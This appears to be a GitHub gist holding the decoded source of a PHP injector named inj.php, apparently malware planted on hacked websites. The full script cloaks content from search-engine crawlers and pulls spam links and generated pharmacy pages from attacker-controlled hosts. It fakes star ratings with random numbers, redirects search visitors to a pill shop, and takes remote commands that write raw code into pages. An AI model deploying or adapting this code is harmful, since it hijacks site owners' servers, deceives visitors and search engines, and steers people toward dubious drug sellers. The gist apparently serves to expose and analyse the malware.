-
-
Save nikitasius/ffea37b463c306a59f1bf2ba12f3086a to your computer and use it in GitHub Desktop.
http://broin.top/lnk/inj.php - decoded
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
gogo<?php | |
@ini_set("memory_limit", "1024M"); | |
@ini_set('display_errors', '0'); | |
error_reporting(0); | |
$curtime = time(); | |
$hspan = 0; | |
if (isset($_REQUEST['pingurl'])) { | |
$ping_url = rawurldecode($_REQUEST['pingurl']); | |
die(httpget("http://www.bing.com/webmaster/ping.aspx?siteMap={$ping_url}")); | |
} | |
if (isset($_REQUEST['pi2'])) { | |
die(pi() * 2); | |
} | |
$ip = urlencode($_SERVER['REMOTE_ADDR']); | |
$ua = urlencode($_SERVER['HTTP_USER_AGENT']); | |
$ref = isset($_SERVER['HTTP_REFERER']) ? urlencode($_SERVER['HTTP_REFERER']) : ''; | |
$poiskoviki = '/google|yandex|bing|yahoo|aol|rambler/i'; | |
$fromse = 0; | |
if ($ref && preg_match($poiskoviki, $ref)) | |
$fromse = 1; | |
$abt = 0; | |
if (isset($_GET['debug'])) | |
$abt = 1; | |
$crawlers = '/google|bot|crawl|slurp|spider|yandex|rambler/i'; | |
if (preg_match($crawlers, $ua)) { | |
$abt = 1; | |
} | |
if (file_exists("{$eb}.bt")) { | |
$bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); | |
$btime = filemtime("{$eb}.bt"); | |
$obtime = $curtime - $btime; | |
} | |
if (!$bots[2] || $obtime > 172800) { | |
$fbots = httpget("http://broin.top/lnk/bots.dat"); | |
$btf = fopen("{$eb}.bt", 'w'); | |
fwrite($btf, $fbots); | |
fclose($btf); | |
$bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); | |
} | |
if (in_array($ip, $bots)) { | |
$abt = 1; | |
} | |
$st = '.st'; | |
$cldw = 0; | |
$dw = 0; | |
function el($el, $my_content) { | |
if (count($el) > 0) { | |
foreach ($el as $ln) { | |
if (preg_match('#<strong>#', $my_content)) { | |
$my_content = preg_replace('#<strong>#', "_-strong-_ $ln ", $my_content, 1); | |
} elseif (preg_match('#<b>#', $my_content)) { | |
$my_content = preg_replace('#<b>#', "_-b-_ $ln ", $my_content, 1); | |
} elseif (preg_match('#<i>#', $my_content)) { | |
$my_content = preg_replace('#<i>#', "_-i-_ $ln ", $my_content, 1); | |
} elseif (preg_match('#<u>#', $my_content)) { | |
$my_content = preg_replace('#<u>#', "_-u-_ $ln ", $my_content, 1); | |
} elseif (preg_match('#<p(.*)>#', $my_content)) { | |
$my_content = preg_replace('#<p(.*)>#', "_-p-_ \n$ln ", $my_content, 1); | |
} elseif (preg_match('#</p>#', $my_content)) { | |
$my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); | |
} elseif (preg_match('#<br(.*)>#', $my_content)) { | |
$my_content = preg_replace('#<br(.*)>#', " $ln ", $my_content, 1); | |
} elseif (preg_match('#<span(.*)>#', $my_content)) { | |
$my_content = preg_replace('#<span(.*)>#', "_-span-_ $ln ", $my_content, 1); | |
} elseif (preg_match('#</body>#', $my_content)) { | |
$my_content = preg_replace('#</body>#', "$ln<br> \n</body>", $my_content, 1); | |
} | |
} | |
$my_content = str_replace('_-', '<', $my_content); | |
$my_content = str_replace('-_', '>', $my_content); | |
} | |
return $my_content; | |
} | |
if (isset($_REQUEST["create"])) { | |
$cldw = 0; | |
if ($_REQUEST['cldw']) | |
$cldw = 1; | |
$qq = $_REQUEST['qq']; | |
if (!file_exists("{$eb}{$st}/.r")) { | |
$qq = $_REQUEST['qq']; | |
mkdir("{$eb}{$st}"); | |
} else { | |
$pamparam = file_get_contents("{$eb}{$st}/.r"); | |
$eqq = explode('|', $pamparam); | |
if (isset($_REQUEST['qq']) && $_REQUEST['qq']) { | |
$qq = $_REQUEST['qq']; | |
} else { | |
$qq = trim($eqq[2]); | |
} | |
} | |
$redir = $_REQUEST['redir']; | |
$redcode = $_REQUEST['redcode']; | |
$group = $_REQUEST['group']; | |
if ($cldw) { | |
$keys = file("http://broin.top/lnk/gen/keys/$group.keys"); | |
shuffle($keys); | |
$clkeys = ''; | |
foreach ($keys as $clkey) { | |
$clkeys .= $clkey; | |
} | |
file_put_contents("{$eb}{$st}/.k", $clkeys); | |
} | |
$lang = $_REQUEST['lang']; | |
file_put_contents("{$eb}{$st}/.r", "$redir|$group|$qq|$lang|$redcode|$cldw"); | |
if (file_exists("{$eb}{$st}/.r")) { | |
echo "sitecreated"; | |
die(); | |
} | |
} | |
if (file_exists("{$eb}{$st}/.r")) { | |
$dw = 1; | |
$pamparam = file_get_contents("{$eb}{$st}/.r"); | |
$eqq = explode('|', $pamparam); | |
$redir = $eqq[0]; | |
if (!strstr($redir, 'http://')) | |
$redir = rawurldecode($redir); | |
$group = $eqq[1]; | |
$qq = trim($eqq[2]); | |
$lang = trim($eqq[3]); | |
if ($eqq[4]) | |
$redcode = rawurldecode($eqq[4]); | |
$cldw = $eqq[5]; | |
} | |
if ($abt || $fromse || $redcode || $hspan || isset($_GET[$qq])) { | |
$epills = explode("|", "abana|abilify|acai|accutane|aceon|aciclovir|aciphex|acivir pills|acticin|actonel|actoplus met|actos|adalat|advair diskus|alavert|albendazole|albenza|aldactone|alesse|aleve|allegra|alli|allopurinol|alphagan|altace|amantadine|amaryl|amitriptyline|amoxil|ampicillin|anacin|anafranil|antabuse|antivert|apcalis sx|arava|aricept|arimidex|aristocort|arjuna|artane|asacol|ashwagandha|aspirin|astelin|atarax|atorlip-10|atorlip-20|atorlip-5|atrovent|augmentin|avalide|avandamet|avapro|avodart|aygestin|ayurslim|azulfidine|baclofen|bactrim|bactroban|beconase aq|benadryl|benemid|benfotiamine|benicar|bentyl|benzac|betapace|betnovate|betoptic|biaxin|blopress|brafix|brahmi|brand advair diskus|brand amoxil|brand cialis|brand levitra|brand viagra|bupron sr|bupropion|buspar|bystolic|cabgolin|cafergot|calan|calcium carbonate|capoten|carafate|carbozyne|cardizem|cardura|casodex|caverta|cefadroxil|cefixime|ceftin|celadrin|celebrex|celexa|cephalexin|chloramphenicol|chloromycetin|chloroquine|cholestoplex|cialis|cialis jelly|cialis professional|cialis soft|cialis sublingual|cialis super active|ciplox|cipro|citalopram|claritin|cleocin|cleocin gel|clomid|clonidine|clozaril|colchicine|colospa|combivent|compazine|confido|cordarone|coreg|coumadin|cozaar|crestor|cyklokapron|cymbalta|cystone|cytotec|cytoxan|danazol|dapoxetine|decadron|deltasone|depakote|desyrel|detrol|diabecon|diakof|diamox|diarex|diclofenac|diclofenac gel|differin|diflucan|digoxin|dilantin|diltiazem|diovan|dipyridamole|ditropan|dostinex|doxazosin|doxycycline|dramamine|duetact|dulcolax|duphalac|dutas|effexor xr|elavil|eldepryl|elimite|elocon|emsam|endep|entocort|ephedraxin|epivir-hbv|erexin-v|erythromycin|estrace|ethionamide|etodolac|eulexin|eurax|evecare|evista|exelon|famvir|feldene|female cialis|female viagra|femara|femcare|fertomid|finast|finax|fincar|finpecia|flagyl er|flomax|flonase|florinef|flovent|floxin|fluoxetine|fml forte|forzest|fosamax|fucidin|furosemide|gasex|geriforte|geriforte syrup|ginette-35|ginseng|glucophage|glucotrol xl|glycomet|glyset|grifulvin v|gyne-lotrimin|haldol|haridra|himcocid|himcolin|himplasia|hoodia|hyaluronic acid|hydrea|hydrochlorothiazide|hytrin|hyzaar|imitrex|imuran|inderal|indinavir|indocin|innopran xl|isoniazid|isoptin|januvia|kamagra|kamagra chewable|kamagra gold|kamagra oral jelly|kamagra soft|keflex|keftab|keppra|kytril|l-tryptophan|lady era|lamictal|lamisil|lanoxin|lariam|lasix|lasuna|levaquin|levitra|levitra plus|levitra professional|levitra super active|levlen|levothroid|lexapro|lincocin|lioresal|lipitor|liposafe|lipothin|lisinopril|lithium|liv 52|lopid|lopressor|lotensin|lotrisone|lozol|lukol|luvox|lynoral|malegra dxt|malegra fxt|maxalt|maxaman|meclizine|medrol|menosan|mentat|mentat ds syrup|mentax|mestinon|metformin|methotrexate|metoclopramide|mevacor|micardis|micronase|midamor|minipress|minocin|minocycline|minomycin|mirapex|mircette|mobic|moduretic|motilium|motrin|myambutol|mycelex-g|naprosyn|neurontin|nexium|nimotop|nitrofurantoin|nitroglycerin|nizagara|nizoral|nolvadex|nootropil|noroxin|norvasc|nymphomax|olanzapine|omnicef|ophthacare|orlistat|oxytrol|pamelor|pariet|parlodel|paroxetine|paxil|penegra|periactin|phenamax|phenergan|phexin|pilex|plavix|plendil|pletal|ponstel|prandin|pravachol|prazosin|precose|prednisolone|prednisone|premarin|prevacid|prilosec|prinivil|probalan|procardia|prograf|promethazine|prometrium|propecia|propranolol|proscar|protonix|proventil|provera|pulmicort|purim|purinethol|pyridium|quibron-t|ralista|ranitidine|reglan|relafen|remeron|reminyl|renagel|requip|retin-a 0%2c025|retin-a 0%2c05|retin-a gel 0%2c1|retino-a cream 0%2c025|retino-a cream 0%2c05|revatio|rhinocort|risperdal|robaxin|rocaltrol|rogaine 2|rogaine 5|rosuvastatin|roxithromycin|rumalaya|rumalaya forte|rumalaya gel|rumalaya liniment|sarafem|saw palmetto|septilin|serevent|seroflo|serophene|seroquel|serpina|shallaki|shatavari|shuddha guggulu|silagra|sinemet|sinequan|singulair|skelaxin|snovitra super power|sominex|speman|starlix|strattera|stromectol|styplon|suhagra|sumycin|suprax|sustiva|synthroid|tadacip|tadalis sx|tadapox|tamoxifen|tegretol|tenormin|terramycin|tetracycline|tinidazole|tofranil|topamax|toprol xl|toradol|torsemide|trandate|trazodone|trental|tretinoin 0%2c025|tretinoin 0%2c05|trial ed set extreme|trial ed set lite|trial ed set standart|triamterene|tricor|trileptal|trimox|tulasi|unisom|urispas|uroxatral|v-gel|valtrex|vantin|vasodilan|vasotec|venlor|ventolin|vermox|viagra|viagra jelly|viagra plus|viagra professional|viagra soft|viagra sublingual|viagra super active|viramune|voltaren|voveran|voveran sr|vpxl|vytorin|wellbutrin|wellbutrin sr|xalatan|xeloda|xenical|yagara|yasmin|zaditor|zanaflex|zantac|zebeta|zenegra|zerit|zestoretic|zestril|zetia|zithromax|zocor|zofran|zoloft|zovirax|zyban|zyloprim|zyprexa|zyrtec|zyvox"); | |
$tdpill = 'pills'; | |
$donor = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; | |
$ddomain = $_SERVER['SERVER_NAME']; | |
$ddomain = str_ireplace('www.', '', $ddomain); | |
$donor = str_ireplace('www.', '', $donor); | |
$page = str_replace('/', '|', $donor); | |
$donor = urldecode($donor); | |
$epage = explode('|', $page); | |
if ($_SERVER['SERVER_PORT'] != 80) { | |
$ddomain .= ":{$_SERVER['SERVER_PORT']}"; | |
} | |
if ($_GET[$qq] == 'sitemap.xml' OR $_GET[$qq] == 'rss') { | |
$fpath = "{$eb}{$st}/{$_GET[$qq]}"; | |
$s_url = "http://broin.top/lnk/xml.php?d={$ddomain}&mode={$_GET[$qq]}¶m={$qq}"; | |
if (file_exists($fpath)) { | |
$content = file_get_contents($fpath); | |
if (time() - filemtime($fpath) > 3600) { | |
$page = httpget($s_url); | |
if ($page != $content) { | |
if (substr($page, 0, 5) == '<?xml') { | |
$content = $page; | |
file_put_contents($fpath, $page); | |
$res = httpget("http://www.bing.com/webmaster/ping.aspx?siteMap=http://{$ddomain}/?{$qq}={$_GET[$qq]}"); | |
} | |
} | |
} | |
die($content); | |
} else { | |
$page = httpget($s_url); | |
if (substr($page, 0, 5) == '<?xml') { | |
file_put_contents($fpath, $page); | |
die($page); | |
} | |
} | |
} | |
$morda = 0; | |
if (!$epage[1] && !$epage[2] || $epage[1] == 'index.php' || $epage[1] == '?p=home') | |
$morda = 1; | |
$el = array(); | |
if (isset($_GET[$qq])) { | |
$ll = httpget("http://broin.top/lnk/tuktuk.php?d=$donor&cldw=$cldw&only_v=1"); | |
$el = explode("\n", $ll); | |
} elseif ($abt || $hspan) { | |
$ll = httpget("http://broin.top/lnk/tuktuk.php?d=$donor&cldw=$cldw"); | |
$el = explode("\n", $ll); | |
} | |
if (file_exists("{$eb}{$st}/$page.html")) { | |
$htmlpage = file_get_contents("{$eb}{$st}/$page.html"); | |
print $htmlpage; | |
exit; | |
} | |
if (file_exists("{$eb}{$st}/$page.txt")) { | |
$gtxt = file_get_contents("{$eb}{$st}/$page.txt"); | |
$etxt = explode('@@@', $gtxt); | |
$key = $etxt[0]; | |
foreach ($epills as $pill) { | |
$pill = trim($pill); | |
if (stristr($key, $pill)) | |
$tdpill = str_replace(' ', '+', $pill); | |
} | |
$desc = $etxt[1]; | |
$txt = $etxt[2]; | |
$h1 = $etxt[3]; | |
} elseif ($cldw || isset($_GET[$qq])) { | |
$desc = ''; | |
$keys = @file("{$eb}{$st}/.k", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); | |
if ($keys[0]) { | |
$key = $keys[0]; | |
for ($kk = 1; $kk < count($keys); $kk++) | |
$newkeys .= "$keys[$kk]\n"; | |
file_put_contents("{$eb}{$st}/.k", $newkeys); | |
} | |
if (isset($_GET[$qq])) { | |
$key = str_replace('-', ' ', $_GET[$qq]); | |
} | |
if ($key) { | |
$parkey = $key; | |
foreach ($epills as $pill) { | |
$pill = trim($pill); | |
if (strstr($key, $pill)) | |
$tdpill = str_replace(' ', '+', $pill); | |
} | |
$tkey = str_replace(' ', '-', $key); | |
$ttxt = httpget("http://safemedicationsshop.biz/lnk/gen/index.php?key=$tkey&g=$group&lang=$lang&page=$page&cldw=$cldw&dd=$ddomain&pill=$tdpill&nolinks=1"); | |
if (preg_match('#<html#is', $ttxt)) { | |
echo $ttxt; | |
file_put_contents("{$eb}{$st}/$page.html", $ttxt); | |
die(); | |
} | |
preg_match('#gogogo(.*)enenen#is', $ttxt, $mtchs); | |
$etxt = explode('||', $mtchs[1]); | |
$key = $etxt[0]; | |
$epill = explode(' - ', $key); | |
$ttpill = trim($epill[1]); | |
$title = ucfirst($key); | |
$h1 = ucfirst($etxt[1]); | |
$rating = rand(4, 5); | |
$rcount = rand(22, 222); | |
$txt = "<div itemscope=\"\" itemtype=\"http://schema.org/Product\">\n<span itemprop=\"name\">$parkey rating</span>\n<div itemprop=\"aggregateRating\" itemscope=\"\" itemtype=\"http://schema.org/AggregateRating\">\n<span itemprop=\"ratingValue\">$rating-5</span> stars based on\n<span itemprop=\"reviewCount\">$rcount</span> reviews\n</div>\n</div>\n"; | |
$desc = $etxt[2]; | |
$txt .= $etxt[3]; | |
if ($desc == 'desc') { | |
$desc = httpget("http://safemedicationsshop.biz/lnk/gen/desc.php?key=$tkey&desc=$group&pill=$tdpill"); | |
preg_match('#gogogo(.*)enenen#is', $desc, $mtchs); | |
if ($mtchs && isset($mtchs[1])) { | |
$desc = $mtchs[1]; | |
} else { | |
$desc = ''; | |
} | |
} | |
file_put_contents("{$eb}{$st}/$page.txt", "$title@@@$desc@@@$txt@@@$h1"); | |
$newclpage = str_replace('|', '/', $page); | |
$newcllink = "<a href=\"http://$newclpage\">$parkey</a> | |
"; | |
if ($cldw) | |
file_put_contents("{$eb}{$st}/cldwmap.txt", $newcllink, FILE_APPEND); | |
} | |
} | |
if (($_GET[$qq] || $cldw) && $fromse && !$abt && !$morda) { | |
if (!$redcode && $key) { | |
$tkey = str_replace(' ', '+', $key); | |
if (strstr($redir, '?')) | |
$redir .= "&keyword=" . $tkey . "&pill=$tdpill"; | |
else | |
$redir .= "?keyword=" . $tkey . "&pill=$tdpill"; | |
header("Location: $redir"); | |
echo "<script type=\"text/javascript\">location.href=\"$redir\";</script>"; | |
die(); | |
} | |
else { | |
$redcode = str_replace('KEY', $key, $redcode); | |
echo stripslashes($redcode); | |
} | |
} | |
$cldwmap = @file("{$eb}{$st}/cldwmap.txt", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); | |
ob_start(); | |
function shutdown() { | |
global $morda; | |
global $eb; | |
global $txt; | |
global $qq; | |
global $key; | |
global $desc; | |
global $lang; | |
global $cldwmap; | |
global $el; | |
global $dw; | |
global $cldw; | |
global $redcode; | |
global $abt; | |
global $hspan; | |
global $h1; | |
$title = ucfirst($key); | |
$my_content = ob_get_contents(); | |
ob_end_clean(); | |
if ($key && ($abt OR isset($_GET[$qq]))) { | |
if ($cldw) { | |
preg_match_all('#<a (.*)</a>#iUm', $my_content, $ahrefs); | |
$cntahrefs = count($ahrefs[0]); | |
$cntcldwmap = count($cldwmap); | |
$i = 0; | |
foreach ($ahrefs[0] as $ahref) { | |
if ($cldwmap[$i]) { | |
$my_content = str_replace($ahref, $cldwmap[$i], $my_content); | |
} | |
$i++; | |
} | |
if ($morda) { | |
$cldwfooter = ''; | |
foreach ($cldwmap as $cldwflink) { | |
$cldwfooter .= "$cldwflink "; | |
} | |
$my_content = str_replace('</body>', "<footer> | |
<div class=\"tags_cloud footer column block\" id=\"tags_cloud footer column block\"> | |
$cldwfooter | |
</div> | |
</footer> | |
</body>", $my_content); | |
} | |
} | |
if (!$morda) { | |
$my_content = preg_replace('#<title(.*)<\/title>#iUs', "<title>$title</title>", $my_content, 1); | |
$my_content = preg_replace("#<link rel=[\"\']{1}canonical(.*)\>#iUs", '', $my_content); | |
$my_content = preg_replace("#<link rel=[\"\']{1}shortlink(.*)\>#iUs", '', $my_content); | |
$my_content = preg_replace('#<h1(.*)<\/h1>#iUm', "<h1>$h1</h1>", $my_content, 1); | |
$my_content = preg_replace('#<h2(.*)<\/h2>#iUm', "<h2>$h1</h2>", $my_content, 1); | |
$my_content = preg_replace('#<h3(.*)<\/h3>#iUm', "<h3>$h1</h3>", $my_content, 1); | |
$my_content = preg_replace("#<meta name=[\"\']{1}description(.*)\>#iUs", '', $my_content); | |
$my_content = preg_replace("#<meta name=[\"\']{1}robots(.*)\>#iUs", '', $my_content); | |
$my_content = preg_replace("#<meta name=[\"\']{1}keywords(.*)\>#iUs", '', $my_content); | |
$my_content = str_replace('</head>', "<meta name=\"description\" content=\"$desc\">\n</head>", $my_content); | |
$my_content = preg_replace("#<meta property=[\"\']{1}og:(.*)[\"\']{1} content=[\"\']{1}.*[\"\']{1}\s?\/>#iUs", '', $my_content); | |
$my_content = preg_replace('#<script(.*)<\/script>#iUs', '', $my_content, 1); | |
if (@preg_match('#<article(.*)<\/article>#iUs', $my_content)) { | |
$my_content = preg_replace('#<article(.*)<\/article>#iUs', "<article>\n$txt\n</article>", $my_content, 1); | |
} elseif (@preg_match('#<div id="page-content">(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div id="page-content">(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div class="page-content">(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div class="page-content">(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div class="maincontent">(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div class="maincontent">(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div class="home-content">(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div class="home-content">(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div class="content"(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div class="content"(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div id="content"(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div id="content"(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div id="content" class="clearfix">(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div id="content" class="clearfix">(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div id="content" class="hfeed">(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div id="content" class="hfeed">(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div class="content clearfix">(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div class="content clearfix">(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div class="body_container">(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div class="body_container">(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div id="content" class="widecolumn">(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div id="content" class="widecolumn">(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div id="entry-content">(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div id="entry-content">(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div class="entry-content">(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div class="entry-content">(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div id="main-content">(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div id="main-content">(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div id="content-area">(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div id="content-area">(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div class="post-content">(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div class="post-content">(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div class="item-page">(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div class="item-page">(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div class="grid(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div class="grid(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div class="page(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div class="page(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div class="column(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div class="column(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div class="nextend-flux">(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div class="nextend-flux">(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<table(.*)>#iUs')) { | |
$my_content = preg_replace('#<table(.*)>#iUs', "<table>\n<div>$txt</div>", $my_content, 1); | |
} elseif (@preg_match('#<div class="inner-wrapper">(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div class="inner-wrapper">(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<div(.*)</div>#iUs', $my_content)) { | |
$my_content = preg_replace('#<div(.*)</div>#iUs', "<div>\n$txt\n</div>", $my_content, 1); | |
} elseif (@preg_match('#<body(.*)>#iUs', $my_content)) { | |
$my_content = preg_replace('#<body(.*)>#iUs', "<body>\n<div>\n$txt\n</div>", $my_content, 1); | |
} | |
$my_content = @preg_replace('#<p(.*)<\/p>#iUs', '', $my_content); | |
$my_content = el($el, $my_content); | |
} | |
} //end if key | |
elseif (!preg_match('#<title>(.*)404#i', $my_content) && !preg_match('#<title>(.*)not found#i', $my_content)) { | |
$my_content = el($el, $my_content); | |
} | |
echo $my_content; | |
} | |
register_shutdown_function('shutdown'); | |
} | |
?>enen |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment